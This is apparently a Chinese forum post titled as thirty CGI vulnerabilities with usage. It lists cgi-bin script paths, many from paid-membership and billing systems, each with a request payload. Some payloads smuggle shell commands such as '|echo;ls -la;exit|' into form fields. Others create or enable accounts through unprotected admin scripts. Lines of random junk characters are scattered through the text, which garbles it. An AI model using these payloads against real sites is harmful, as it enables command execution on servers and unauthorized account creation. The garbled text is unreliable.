Cgi-bin 30个漏洞＋使用方法

admin

==============================
9 r9 M6 r8 o" `: M% F% B1 ^! D$ i
; \  a1 M/ w$ B! [$ l/smspass.pl
' `, V3 V% r% e+ v1 D2 G7 eusername=username&password=password

/index.cgi
2 U) r6 ~9 s$ ], {wei=ren&gen=command
: |% I6 F1 R5 z
/passmaster.cgi
8 }0 n! D) q( Q- y" S, WAction=Add&Username=Username&Password=Password
! O& d+ H/ ?7 W) h- Q
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
+ n3 g; v5 }* |) D
5 m; B) h  _6 d' f) \& R/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
. L1 s& P3 Y1 @" s/cgi-bin/EuroDebit/addusr.pl
- G6 A6 n* J/ @7 fuser=username&pass=Password&confirm=Password
4 M5 H$ |% ~, [
9 h9 r4 f" K) x3 K7 _' w, m5 y/ccbill-local.asp
post_values=username:password

/count.cgi
" R! r6 m- T( c( f" ]* Fpinfile=|echo;ls -la;exit|
- W* s2 K; I( p, q) {8 h1 e
7 h; }% o% [) P  t/recon.cgi
/recon.cgi?search
6 F) z0 r9 m* d2 g8 A! M- ]" f' e+ M" Nsearchoption=1&searchfor=|echo;ls -al;exit|
' ~% `  s/ a7 @8 h; c) J
/verotelrum.pl
4 S& X1 J9 {* v7 r. ?vercode=username:password:dseegsow:add:amount<&30>

/af.cgi
0 }, y1 |8 m4 P( y6 G* o_browser_out=|echo;ls -la;exit;|
, `' m' z$ J1 V: x
/modify.cgi
; ~2 ]2 y8 b1 J' W5 ausername=username&password=password&expire=30
& R$ I0 F' D' l' D! y
/openjournal.cgi
4 a: u' \2 ~7 n2 |9 Kedit=1&ct=2&go=|echo;ls -al;exit|

$ a' I& s. a; c7 U" v. q/gx9passwd.cgi
$ a# o- n- L2 w; e8 ]# Zcmd=ADD&user=username&pass=password
) c% J9 B3 m$ R3 Y& W9 v% ~7 ~
/probecontrol.cgi
  U; y! N7 _0 [# a5 X+ N2 Gcommand=enable&username=username&password=password
& ~( f( f9 ^3 J* s
! G; i+ M! ~, L% V$ {, `6 f/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
! R9 P% Q3 v4 }  B% ?  A
/htadd.pl
- d7 \/ w8 V, f9 Y" qconfigfile=|echo; ls -alt; exit

/gx9passwd.cgi
cmd=ADD&user=username&pass=password
7 ~& a* K3 P/ _7 y# M
9 G* x8 q$ T0 e; A+ y4 R, r6 c/ibill*.pl
! D$ D( M1 |; ?3 r  S% S$ xreqtype=add&authpwd=authpwd&username=username&password=password
4 X! U; g5 l. A6 b- [3 K
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
% N. O& c3 R; E' z6 |: J+ u
/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

* G) _, a: ~6 S0 x) w' z" a! G/usercontrol.cgi
command=enable&username=USER&password=PASS
) o4 t2 f$ V8 O) ?( _2 v
/globoSALErum.cgi
" _" X' D( W+ V7 D1 Waction=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS

& v! J( O) S5 f" P# ?3 `# T/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
: I/ p3 z4 q6 G4 n5 m% Ipinfile=|echo;pwd;exit|

5 v2 G4 M3 {7 S/accountcreate.cgi
8 b! \3 A. x2 R% v- U( ?/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
/ t; x. H7 J7 ]
/af.cgi
/env.cgi
ADD+;echo;pwd;exit
) s# o; j; n. y! _) R4 P! t# W) ]
- h: n8 D/ a9 L  W. W8 h/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
username=username&password=password&expire=30

==============================